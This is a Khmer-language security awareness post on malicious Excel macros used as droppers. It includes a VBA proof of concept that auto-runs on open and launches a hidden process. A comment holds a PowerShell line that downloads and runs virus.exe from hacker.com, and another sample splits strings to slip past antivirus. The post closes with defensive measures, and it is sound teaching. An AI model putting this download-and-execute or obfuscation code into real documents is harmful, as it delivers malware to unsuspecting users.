19/01/2026
FYI
Hacker ប្រើប្រាស់ VBA (Macro) គឺជារឿងសំខាន់បំផុតមួយ ដើម្បីការពារខ្លួន និងស្ថាប័ន។
នេះគឺជាការបកស្រាយលម្អិតអំពីបច្ចេកទេសដែលគេហៅថា "Malicious Macros" ឬ "Dropper"៖
១. យន្តការនៃការវាយប្រហារ (The Mechanism)
Hacker មិនសរសេរកូដ Ransomware ទាំងមូលដាក់ចូលក្នុង Excel ទេ។ ផ្ទុយទៅវិញ គេប្រើ Excel ជា "អ្នកបើកទ្វារ" (Dropper/Downloader)។
ដំណើរការគឺ៖
1. Phishing Email: ផ្ញើ Excel ឈ្មោះ "Invoice_Urgent.xlsm" ឬ "Salary_Update.xlsm"។
2. Social Engineering: នៅក្នុង File នោះ គេដាក់រូបភាពព្រិលៗ ហើយសរសេរថា "ឯកសារនេះត្រូវបានការពារ។ សូមចុច Enable Content ដើម្បីមើល"។
3. Trigger: នៅពេល User ចុច "Enable Content" ភ្លាម, កូដ VBA នឹងដំណើរការដោយស្វ័យប្រវត្តិ។
4. Payload: កូដ VBA នោះនឹងលួចហៅ PowerShell ឬ CMD ឱ្យទៅទាញយក (Download) មេរោគពិតប្រាកដពី Server របស់ Hacker មកដំណើរការ។
២. កូដឧទាហរណ៍ (Proof of Concept - PoC)
ចំណាំ៖ កូដនេះគឺសម្រាប់ការសិក្សាស្វែងយល់តែប៉ុណ្ណោះ។ ខ្ញុំនឹងប្រើ calc.exe (ម៉ាស៊ីនគិតលេខ) ជាឧទាហរណ៍ជំនួសមេរោគ។
នៅក្នុង VBA, ជំនួសឱ្យការប្រើ Cells().Color ដើម្បីប្តូរពណ៌ Hacker ប្រើមុខងារមួយឈ្មោះថា Shell ដើម្បីបញ្ជា Windows។
' នេះគឺជា Event ដែលនឹងដំណើរការភ្លាមៗពេលបើក File
Private Sub Workbook_Open()
RunMaliciousCode
End Sub
Sub RunMaliciousCode()
' បច្ចេកទេសទី ១: ការប្រើប្រាស់ Shell
' ក្នុងករណីពិត Hacker នឹងជំនួស "calc.exe" ទៅជាកូដ PowerShell ដ៏វែង
' ឧទាហរណ៍: Shell("powershell.exe -ExecutionPolicy Bypass -Command wget http://hacker.com/virus.exe -OutFile virus.exe; ./virus.exe")
Dim command As String
command = "calc.exe" ' គ្រាន់តែបើកម៉ាស៊ីនគិតលេខ
' បញ្ជាឱ្យ Windows ដំណើរការ command នេះដោយលាក់មុខ (vbHide)
Shell command, vbHide
MsgBox "ឯកសាររបស់អ្នកត្រូវបានបើកហើយ!", vbInformation
End Sub
ការវិភាគកូដ:
1. Private Sub Workbook_Open(): នេះគឺជាចំណុចគ្រោះថ្នាក់។ វាជា Event Handler ដែលប្រាប់ Excel ថា "កុំចាំគេចុច Run, ឱ្យតែបើក File ភ្លាម Run កូដនេះភ្លាម"។
2. Shell: ជា Command សម្រាប់ឱ្យ Excel និយាយទៅកាន់ Windows OS។
3. vbHide: Hacker ប្រើវាដើម្បីកុំឱ្យផ្ទាំងខ្មៅ (CMD) លោតឡើងមកឱ្យ User ឃើញ។ អ្វីៗដំណើរការស្ងាត់ៗនៅ Background។
៣. ការបន្លំកូដ (Obfuscation)
ប្រសិនបើ Hacker សរសេរកូដច្បាស់ៗដូចខាងលើ Antivirus នឹងចាប់បានភ្លាម។ ដូច្នេះពួកគេប្រើបច្ចេកទេស Obfuscation ដើម្បីធ្វើឱ្យកូដមើលទៅរញ៉េរញ៉ៃ។
ឧទាហរណ៍កូដដែល Hacker ប្រើជាក់ស្តែង (ពិបាកអាន):
Sub Auto_Open()
Dim str As String
' គេមិនសរសេរ "powershell" ត្រង់ៗទេ តែគេបំបែកវា
str = "po" & "wer" & "sh" & "ell.exe"
Dim url As String
url = Chr(104) & Chr(116) & Chr(116) & "p://..." ' h, t, t, p...
Shell str & " " & url
End Sub
វិធីនេះធ្វើឱ្យ Signature-based Antivirus មើលមិនស្គាល់ថាវាជាកូដគ្រោះថ្នាក់។
៤. របៀបការពារ (Defense & Mitigation)
ក្នុងនាមជា IT Admin ឬ Security Analyst, អ្នកត្រូវដឹងពីរបៀបទប់ស្កាត់៖
1. Mark of the Web (MOTW):
• Microsoft បានដាក់ចេញនូវវិធានការថ្មី។ ប្រសិនបើឯកសារ Excel ត្រូវបាន Download ពី Internet (មាន MOTW flag), Microsoft នឹង Block Macros ទាំងស្រុងជា Default ដោយមិនឱ្យ User ចុច Enable ងាយៗទេ។
2. Disable Macros via Group Policy (GPO):
• នៅក្នុងក្រុមហ៊ុន អ្នកគួរតែបិទ Macro សម្រាប់ User ទូទៅដែលមិនចាំបាច់ប្រើ។
3. Attack Surface Reduction (ASR) Rules:
• ប្រសិនបើប្រើ Microsoft Defender, បើក Rule មួយឈ្មោះថា "Block all Office applications from creating child processes"។ វានឹងហាមឃាត់មិនឱ្យ Excel ហៅ cmd.exe ឬ powershell.exe បានឡើយ ទោះបីជាមានកូដក៏ដោយ។